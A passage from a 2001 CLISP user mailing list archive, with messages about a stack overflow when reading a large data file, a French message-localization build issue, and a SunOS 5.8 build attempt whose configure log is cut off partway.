:adjustable t))
            (y (make-array '(1046529) :element-type = :single-float :initial-element 0.0 :fill-pointer 0
:adjustable t))
        (z = (make-array '(1046529) :element-type :single-float :initial-element 0.0 = :fill-pointer 0
:adjustable t)))
       (with-open-file = (in name)
             (do ((xx (read in nil 'eof) (read in = nil 'eof))
          &nb= sp;   (yy (read in nil 'eof) (read in nil 'eof))
          &nb= sp;   (zz (read in nil 'eof) (read in nil 'eof)))
        =         =          ((eql = zz 'eof))
          &nb= sp;  (progn (vector-push-extend xx x)
          &nb= sp;         (vector-push-extend = yy y)
          &nb= sp;         (vector-push-extend = zz z))))
         = (values x y z)))
(compile 'read-file)
(setf result (multiple-value-bind (mx my mz) = (read-file "big_file.txt") (list mx my mz)))
(progn
 (setq result (multiple-value-call #'list = (read-file "big_file.txt")))
 nil)

on a big file (about 27 MB) I get the message:

*** - Program stack overflow. RESET
*** - Program stack overflow. RESET

and so on. With a small file everything works as = expected. I originally posted this to
comp.lang.lisp and got an answer from Sam Steingold. = He wrote:

> I am pretty sure this is the printer problem: = you probably have
> *print-circle* set to T or something.

*print-circle* is set to NIL.

>try

>(progn
 >(setq result (multiple-value-call #'list = (read-file "big_file.txt")))
 >nil)

I tried this but got the same error messages as = before.

I would be very appreciative for help.

Rolf Wester


-------------------------------------
Rolf Wester
wester@ilt.fhg.de

_______________________________________________
clisp-list mailing list
clisp-list@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/clisp-lis= t

------_=_NextPart_001_01C13606.DEDFD800-- From sds@gnu.org Wed Sep 05 06:15:58 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ecX7-0002Hh-00 for ; Wed, 05 Sep 2001 06:15:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA22804; Wed, 5 Sep 2001 09:15:50 -0400 (EDT) X-Envelope-To: To: "Rolf Wester" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Program stack overflow References: <3B96320E.11873.2F5FBAB2@localhost> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B96320E.11873.2F5FBAB2@localhost> Message-ID: Lines: 74 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 06:16:07 2001 X-Original-Date: 05 Sep 2001 09:14:35 -0400 > * In message <3B96320E.11873.2F5FBAB2@localhost> > * On the subject of "[clisp-list] Program stack overflow" > * Sent on Wed, 5 Sep 2001 14:09:18 +0200 > * Honorable "Rolf Wester" writes: > > I'm using CLISP on Windows NT. When running: > > (defun read-file (name) > (let ((x (make-array '(1046529) :element-type :single-float :SINGLE-FLOAT is not a type. you need 'SINGLE-FLOAT (this is irrelevant to your problem) > :initial-element 0.0 :fill-pointer 0 :adjustable t)) > (y (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 > :adjustable t)) > (z (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 > :adjustable t))) > (with-open-file (in name) > (do ((xx (read in nil 'eof) (read in nil 'eof)) > (yy (read in nil 'eof) (read in nil 'eof)) > (zz (read in nil 'eof) (read in nil 'eof))) > ((eql zz 'eof)) > (progn (vector-push-extend xx x) > (vector-push-extend yy y) > (vector-push-extend zz z)))) I suggest adding error checking here - use (vector-push-extend (float xx 1f0) x) > (values x y z))) > (compile 'read-file) > (setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt") (list mx my mz))) please remove this form, leaving only the progn: > (progn > (setq result (multiple-value-call #'list (read-file "big_file.txt"))) > nil) > on a big file (about 27 MB) I get the message: > > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET how many numbers are there in the file? could you please find out what the threshold is? just count the records as they are read and print messages "100 records read", "1000 records read" etc. a good way to speed up the whole thing is something like this (untested): (defun read-file1 (name) (let* ((list (with-open-file (fi name :direction :input) (with-input-from-string (beg "(") (with-input-from-string (end ")") (let ((in (make-concatenated-stream beg fi end))) (unwind-protect (read in) (close in))))))) (len (ceiling (length list) 3)) (x (make-array len)) (y (make-array len)) (z (make-array len))) (dotimes (i len (values x y z)) (setf (aref x i) (pop list) (aref y i) (pop list) (aref z i) (pop list))))) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on cogito cogito ergo cogito sum From wester@ilt.fhg.de Wed Sep 05 06:16:35 2001 Received: from mailgw1.fhg.de ([153.96.1.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ecXc-0002Kd-00 for ; Wed, 05 Sep 2001 06:16:29 -0700 Received: from ilt.fhg.de (ilt.ilt.fhg.de [153.96.180.2]) by mailgw1.fhg.de (8.11.1/8.11.1) with ESMTP id f85DGIO23386 for ; Wed, 5 Sep 2001 15:16:18 +0200 (MET DST) Received: from eent359 (eelta135.llt.RWTH-Aachen.DE [137.226.47.135]) by ilt.fhg.de (8.9.3/8.9.3) with ESMTP id PAA27508 for ; Wed, 5 Sep 2001 15:16:18 +0200 (MET DST) From: "Rolf Wester" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: RE: [clisp-list] Program stack overflow Message-ID: <3B9641BF.18351.2F9D0788@localhost> Priority: normal In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12cDE) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 06:17:03 2001 X-Original-Date: Wed, 5 Sep 2001 15:16:15 +0200 Thanks for your reply. I tried -m 50 MB but this had no influence on the problem. Rolf Wester > Look at the "-m" on start up. In my experience the "-m" will increase it > some, but there is a limit. > I don't know what the limit is. At this point, I went to a better OS. If > you are "stuck" with NT > look at product called VMWARE. One can run a linux box inside of an NT box. > I do some small > testing with VMWARE and Linux and have gotten good results even with "large" > objects. > ------------------------------------- Rolf Wester wester@ilt.fhg.de From sds@gnu.org Wed Sep 05 07:10:28 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15edNs-0008TR-00 for ; Wed, 05 Sep 2001 07:10:28 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA02093; Wed, 5 Sep 2001 10:10:21 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87y9num0uo.fsf@merceron.meteo.fr> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 Message-ID: Lines: 26 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 07:11:15 2001 X-Original-Date: 05 Sep 2001 10:09:04 -0400 > * In message <87y9num0uo.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" > * Sent on 05 Sep 2001 11:41:03 +0200 > * Honorable Bernard Urban writes: > > > $ rm -rf build > > $ ./configure --build build > > $ cd build > > $ ./.clisp -q -norc -L french -x '(/ 0)' this does work for me with the current development sources. could you please try the CVS version? thanks! > Sorry, does not solve the problem. you mean, you get "message inimprimable"?! > So the problem seems to be related to these functions. the problem is that configure for gettext should find libiconv. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My inferiority complex is the only thing I can be proud of. From toy@rtp.ericsson.se Wed Sep 05 08:42:18 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15eeoi-00030O-00 for ; Wed, 05 Sep 2001 08:42:16 -0700 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f85Fg7p05387 for ; Wed, 5 Sep 2001 10:42:07 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f85Fg7314755 for ; Wed, 5 Sep 2001 10:42:07 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Wed Sep 05 10:41:45 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA23552; Wed, 5 Sep 2001 11:42:47 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id LAA18554; Wed, 5 Sep 2001 11:41:44 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> From: Raymond Toy In-Reply-To: Message-ID: <4nae093arr.fsf@rtp.ericsson.se> Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 08:43:02 2001 X-Original-Date: 05 Sep 2001 11:41:44 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <87y9num0uo.fsf@merceron.meteo.fr> >> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" >> * Sent on 05 Sep 2001 11:41:03 +0200 >> * Honorable Bernard Urban writes: >> >> > $ rm -rf build >> > $ ./configure --build build >> > $ cd build >> > $ ./.clisp -q -norc -L french -x '(/ 0)' Sam> this does work for me with the current development sources. Sam> could you please try the CVS version? This works for me with my build of 2.27 (on Solaris). Ray From Bernard.Urban@meteo.fr Wed Sep 05 09:22:53 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15efRy-00085w-00 for ; Wed, 05 Sep 2001 09:22:50 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87pu95mwtu.fsf@merceron.meteo.fr> Lines: 120 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 09:23:03 2001 X-Original-Date: 05 Sep 2001 18:22:37 +0200 Sam Steingold writes: > > * In message <87y9num0uo.fsf@merceron.meteo.fr> > > * On the subject of "Re: [clisp-list] internationalization problem on c= lisp-2.27" > > * Sent on 05 Sep 2001 11:41:03 +0200 > > * Honorable Bernard Urban writes: > > > > > $ rm -rf build > > > $ ./configure --build build > > > $ cd build > > > $ ./.clisp -q -norc -L french -x '(/ 0)' >=20 > this does work for me with the current development sources. > could you please try the CVS version? > thanks! I just gave it a try: same problem. >=20 > > Sorry, does not solve the problem. > you mean, you get "message inimprimable"?! >=20 The above is in french, I would be happy with that as a starter... I have understand that this can happen if you give an incorrect option -E for the console. I have message "division by zero" instead of "Division par z=E9ro". > > So the problem seems to be related to these functions. >=20 > the problem is that configure for gettext should find libiconv. It does, from the configure output: executing build/gettext/configure ... loading cache ../config.cache checking for a BSD compatible install... (cached) /usr/bin/install -c checking whether build environment is sane... yes checking whether make sets $(MAKE)... (cached) yes checking for gcc... (cached) gcc -O checking whether the C compiler (gcc -O -L/home/ramses/src/Lisp/clisp-2.2= 7/build) works... yes checking whether the C compiler (gcc -O -L/home/ramses/src/Lisp/clisp-2.2= 7/build) is a cross-compiler... no checking whether we are using GNU C... (cached) yes checking how to run the C preprocessor... (cached) gcc -O -E -w checking for ranlib... (cached) ranlib checking for a BSD compatible install... /usr/bin/install -c checking host system type... i686-pc-linux-gnu checking for ranlib... (cached) ranlib checking for POSIXized ISC... (cached) no checking for ANSI C header files... (cached) yes checking for working const... yes checking for inline... (cached) inline checking for off_t... yes checking for size_t... yes checking for working alloca.h... yes checking for alloca... yes checking for unistd.h... (cached) yes checking for getpagesize... yes checking for working mmap... yes checking whether we are using the GNU C Library 2.1 or newer... (cached) yes checking for argz.h... yes checking for limits.h... yes checking for locale.h... (cached) yes checking for nl_types.h... yes checking for malloc.h... yes checking for stddef.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for unistd.h... (cached) yes checking for sys/param.h... yes checking for feof_unlocked... yes checking for fgets_unlocked... yes checking for getcwd... yes checking for getegid... yes checking for geteuid... yes checking for getgid... yes checking for getuid... yes checking for mempcpy... yes checking for munmap... (cached) yes checking for putenv... (cached) yes checking for setenv... yes checking for setlocale... (cached) yes checking for stpcpy... yes checking for strchr... yes checking for strcasecmp... yes checking for strdup... yes checking for strtoul... yes checking for tsearch... yes checking for __argz_count... yes checking for __argz_stringify... yes checking for __argz_next... yes checking for iconv... yes checking for iconv declaration...=20 extern size_t iconv (iconv_t cd, char * *inbuf, size_t *inbyteslef= t, char * *outbuf, size_t *outbytesleft); checking for nl_langinfo and CODESET... yes checking for LC_MESSAGES... yes checking whether NLS is requested... yes checking whether included gettext is requested... yes checking for msgfmt... msgfmt checking for gmsgfmt... msgfmt checking for xgettext... : checking for bison... bison checking version of bison... 1.28, ok checking for catalogs to be installed... en de fr es nl updating cache ../config.cache creating ./config.status creating intl/Makefile creating po/Makefile creating config.h I have also the final linking command, where I wonder why -liconv is there (but should not cause harm): gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomi= t-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -= DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control= .o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o p= ackage.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predt= ype.o symbol.o lisparit.o foreign.o unixaux.o ari80386.o modules.o libsigse= gv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurse= s -ldl -liconv -o lisp.run Regards. --=20 Bernard Urban From sds@gnu.org Wed Sep 05 10:27:04 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15egS8-0003gG-00 for ; Wed, 05 Sep 2001 10:27:04 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA09099; Wed, 5 Sep 2001 13:27:01 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> <87pu95mwtu.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87pu95mwtu.fsf@merceron.meteo.fr> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 10:28:01 2001 X-Original-Date: 05 Sep 2001 13:25:36 -0400 > * In message <87pu95mwtu.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] internationalization problem on cli= sp-2.27" > * Sent on 05 Sep 2001 18:22:37 +0200 > * Honorable Bernard Urban writes: > > Sam Steingold writes: >=20 > > > > $ rm -rf build > > > > $ ./configure --build build > > > > $ cd build > > > > $ ./.clisp -q -norc -L french -x '(/ 0)' > >=20 > > this does work for me with the current development sources. > > could you please try the CVS version? > > thanks! >=20 > I just gave it a try: same problem. I don't think you removed the build directory. > > > Sorry, does not solve the problem. > > you mean, you get "message inimprimable"?! >=20 > The above is in french, I would be happy with that as a starter... > I have message "division by zero" instead of "Division par z=E9ro". this is an entirely different problem from the one I am trying to solve. note that it should be "-L FRENCH" or "-L french", not "-L French". > executing build/gettext/configure ... > loading cache ../config.cache if you are doing the fresh build, at this time there should not be any cache. --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Any connection between your reality and mine is purely coincidental. From Bernard.Urban@meteo.fr Wed Sep 05 10:51:04 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15egpJ-0000X4-00 for ; Wed, 05 Sep 2001 10:51:01 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> <87pu95mwtu.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87lmjtmsqw.fsf@merceron.meteo.fr> Lines: 52 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 10:52:03 2001 X-Original-Date: 05 Sep 2001 19:50:47 +0200 Sam Steingold writes: > > * In message <87pu95mwtu.fsf@merceron.meteo.fr> > > * On the subject of "Re: [clisp-list] internationalization problem on c= lisp-2.27" > > * Sent on 05 Sep 2001 18:22:37 +0200 > > * Honorable Bernard Urban writes: > > > > Sam Steingold writes: > >=20 > > > > > $ rm -rf build > > > > > $ ./configure --build build > > > > > $ cd build > > > > > $ ./.clisp -q -norc -L french -x '(/ 0)' > > >=20 > > > this does work for me with the current development sources. > > > could you please try the CVS version? > > > thanks! > >=20 > > I just gave it a try: same problem. >=20 > I don't think you removed the build directory. >=20 I downloaded the CVS tarball, and checked out of it the distribution, so no build directory was present initially. > > > > Sorry, does not solve the problem. > > > you mean, you get "message inimprimable"?! > >=20 > > The above is in french, I would be happy with that as a starter... > > I have message "division by zero" instead of "Division par z=E9ro". >=20 > this is an entirely different problem from the one I am trying to > solve. > note that it should be "-L FRENCH" or "-L french", not "-L French". >=20 I use "-L french". > > executing build/gettext/configure ... > > loading cache ../config.cache >=20 > if you are doing the fresh build, > at this time there should not be any cache. >=20 It is the config.cache from the upper level configure.=20 Isn't that normal ? --=20 Bernard Urban From tfb@ocf.berkeley.edu Wed Sep 05 20:14:57 2001 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15epd2-0007lg-00 for ; Wed, 05 Sep 2001 20:14:56 -0700 Received: from apocalypse.OCF.Berkeley.EDU (tfb@apocalypse.OCF.Berkeley.EDU [128.32.191.249]) by war.OCF.Berkeley.EDU (8.11.3/8.9.3) with ESMTP id f863B7C00767 for ; Wed, 5 Sep 2001 20:11:07 -0700 (PDT) Received: (from tfb@localhost) by apocalypse.OCF.Berkeley.EDU (8.11.3/8.9.3) id f863EpB15248; Wed, 5 Sep 2001 20:14:51 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.90 under Emacs 20.7.1 Subject: [clisp-list] Problems trying to build on SunOS 5.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 20:15:02 2001 X-Original-Date: Wed, 5 Sep 2001 20:14:51 -0700 The subject kind of says it all. I got the 2.27 tarball from sourceforge, unpacked it, and you can see the rest below... [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1 [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config executing src/configure ... creating cache ./config.cache checking for gcc... gcc checking whether the C compiler (gcc ) works... yes checking whether the C compiler (gcc ) is a cross-compiler... no checking whether we are using GNU C... yes checking how to run the C preprocessor... gcc -O -E -w checking for AIX... no checking whether using GNU C... yes checking whether using C++... no checking whether using ANSI C... yes checking whether CPP likes indented directives... yes checking whether CPP likes empty macro arguments... yes checking for underscore in external names... no checking for ranlib... ranlib checking for a BSD compatible install... /opt/local/bin/ginstall -c checking how to copy files... cp -p checking how to make hard links... ln checking whether ln -s works... yes checking how to make hard links to symlinks... hln checking for groff... groff checking for getpwnam... yes checking for DYNIX/ptx libseq or libsocket... no checking whether gethostent requires -lnsl... yes checking whether setsockopt requires -lsocket... yes checking whether CC works at all... yes checking host system type... sparc-sun-solaris2.8 checking for 64-bit SPARC... no checking for inline... inline checking for working void... yes checking for working "return void"... yes checking for long long type... yes checking for ANSI C header files... yes checking for offsetof in stddef.h... yes checking for stdbool.h... no checking for locale.h... yes checking for unistd.h... yes checking for sys/file.h... yes checking for R_OK in unistd.h... yes checking for sys/file.h... (cached) yes checking for O_RDWR in fcntl.h... yes checking for dirent.h that defines DIR... yes checking for opendir in -ldir... no checking for sys/utsname.h and struct utsname... yes checking for netdb.h... yes checking for sys/shm.h... yes checking for sys/ipc.h... yes checking for termios.h... yes checking for termio.h... yes checking for sys/termio.h... yes checking for sgtty.h... yes checking for tcgetattr... yes checking for tcsetattr declaration... extern int tcsetattr (int, int, const struct termios *); checking for TCSAFLUSH in termios.h... yes checking for struct winsize in termios.h... yes checking for X11 checking for xmkmf... yes checking for X... libraries /usr/openwin/lib, headers /usr/openwin/include checking for caddr_t in sys/types.h... yes checking for socklen_t in sys/socket.h... yes checking for d_namlen in struct dirent... no checking for struct tm in sys/time.h... yes checking for strlen declaration... extern size_t strlen (const char*); checking for memset declaration... extern char* memset (char*, int, int); checking for broken HP/UX malloc... no checking for malloc declaration... extern void* malloc (unsigned int); checking for free declaration... extern void free (void*); checking for working alloca.h... yes checking for alloca... yes checking for _setjmp... yes checking for _longjmp... yes checking return type of signal handlers... void checking whether the signal handler function type needs dots... no checking for sighold... yes checking for sigprocmask... yes checking for sigblock... no checking for signal blocking interfaces... SystemV POSIX checking for sigprocmask declaration... extern int sigprocmask (int, const sigset_t*, sigset_t*); checking whether signal handlers need to be reinstalled... yes checking whether signals are blocked when signal handlers are entered... no checking whether other signals are blocked when signal handlers are entered... no checking for sigaction... yes checking whether sigaction handlers need to be reinstalled... no checking whether signals are blocked when sigaction handlers are entered... yes checking for siginterrupt... yes checking for fpu_control_t... no checking for __setfpucw... no checking for raise... yes checking for abort declaration... extern void abort (void); checking for perror declaration... yes checking for strerror... yes checking for sys_errlist declaration... extern char* sys_errlist[]; checking for getenv declaration... extern char* getenv (const char*); checking for putenv... yes checking for putenv declaration... extern int putenv (char*); checking for setlocale declaration... extern char* setlocale (int, const char*); checking for setrlimit... yes checking for getrlimit declaration... extern int getrlimit (int, struct rlimit *); checking for setrlimit declaration... extern int setrlimit (int, const struct rlimit *); checking for ANSI C header files... yes checking for pid_t... yes checking for vfork.h... no checking for working vfork... yes checking for vfork declaration... extern pid_t vfork (void); checking for setsid... yes checking for setpgid... yes checking for execv declaration... extern int execv (const char*, char* const[]); checking for execl declaration... extern int execl (const char*, const char*, ...); checking for waitpid declaration... extern pid_t waitpid (pid_t, int*, int); checking for sys/resource.h... yes checking for sys/times.h... yes checking for getrusage... yes checking for getrusage declaration... extern int getrusage (int, struct rusage *); checking for getcwd... yes checking for getcwd declaration... extern char* getcwd (char*, size_t); checking for chdir declaration... extern int chdir (const char*); checking for mkdir declaration... extern int mkdir (const char*, mode_t); checking for rmdir declaration... extern int rmdir (const char*); checking whether stat file-mode macros are broken... no checking for fstat declaration... extern int fstat (int, struct stat *); checking for stat declaration... extern int stat (const char*, struct stat *); checking for lstat... yes checking for lstat declaration... extern int lstat (const char*, struct stat *); checking for readlink... yes checking for readlink declaration... extern int readlink (const char*, char*, size_t); checking for ELOOP... yes checking for opendir declaration... extern DIR* opendir (const char*); checking for closedir declaration... extern int closedir (DIR*); checking for usable closedir return value... yes checking for open declaration... extern int open (const char*, int, ...); checking for read declaration... extern int read (int, void*, size_t); checking for write declaration... extern int write (int, const void*, size_t); checking for rename declaration... extern int rename (const char*, const char*); checking for unlink declaration... extern int unlink (const char*); checking for fsync... yes checking for ioctl declaration... extern int ioctl (int, int, ...); checking for FIONREAD... no checking for FIONREAD in sys/filio.h... yes checking for reliable FIONREAD... yes checking for fcntl declaration... extern int fcntl (int, int, ...); checking for select... yes checking for sys/select.h... yes checking for select declaration... extern int select (int, fd_set *, fd_set *, fd_set *, struct timeval *); checking for ualarm... yes checking for setitimer... yes checking for setitimer declaration... extern int setitimer (int, struct itimerval *, struct itimerval *); checking for usleep... yes checking for localtime declaration... extern struct tm * localtime (const time_t*); checking for gettimeofday... yes checking for gettimeofday declaration... extern int gettimeofday (struct timeval *, void *); checking for ftime... yes checking for getpwnam declaration... extern struct passwd * getpwnam (const char*); checking for getpwuid declaration... extern struct passwd * getpwuid (uid_t); checking for gethostname... yes checking for gethostname declaration... extern int gethostname (char*, int); checking for gethostbyname declaration... extern struct hostent * gethostbyname (const char*); checking for connect declaration... extern int connect (int, const struct sockaddr *, size_t); checking for sys/un.h... yes checking for sun_len in struct sockaddr_un... no checking for IPv4 sockets... yes checking for IPv6 sockets... yes checking for inet_pton... yes checking for inet_ntop... yes checking for netinet/in.h... yes checking for arpa/inet.h... yes checking for inet_addr declaration... extern unsigned int inet_addr (const char*); checking for netinet/tcp.h... yes checking for setsockopt declaration... extern int setsockopt (int, int, int, const void*, unsigned int); checking for the code address range... 0x00000000 checking for the malloc address range... 0x00000000 checking for the shared library address range... 0xFF000000 checking for the stack address range... 0xFF000000 checking for getpagesize... yes checking for getpagesize declaration... extern int getpagesize (void); checking for vadvise... no checking for vm_allocate... no checking for sys/mman.h... yes checking for mmap... yes checking for mmap declaration... extern caddr_t mmap (caddr_t, size_t, int, int, int, off_t); checking for working mmap... yes checking for munmap... yes checking for msync... yes checking for mprotect... yes checking for mprotect declaration... extern int mprotect (caddr_t, size_t, int); checking for working mprotect... yes checking for shmget declaration... extern int shmget (key_t, size_t, int); checking for shmat declaration... extern void* shmat (int, const void*, int); checking for shmdt declaration... extern int shmdt (char*); checking for shmctl declaration... extern int shmctl (int, int, struct shmid_ds *); checking for working shared memory... yes checking for sys/sysmacros.h... yes checking for attachability of removed shared memory... no checking for dlopen... yes checking for dlsym declaration... extern void* dlsym (void* handle, const char* symbol); checking for dlerror declaration... extern char * dlerror (); checking for iconv... yes checking for iconv declaration... extern size_t iconv (iconv_t cd, const char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t* outbytesleft); checking for 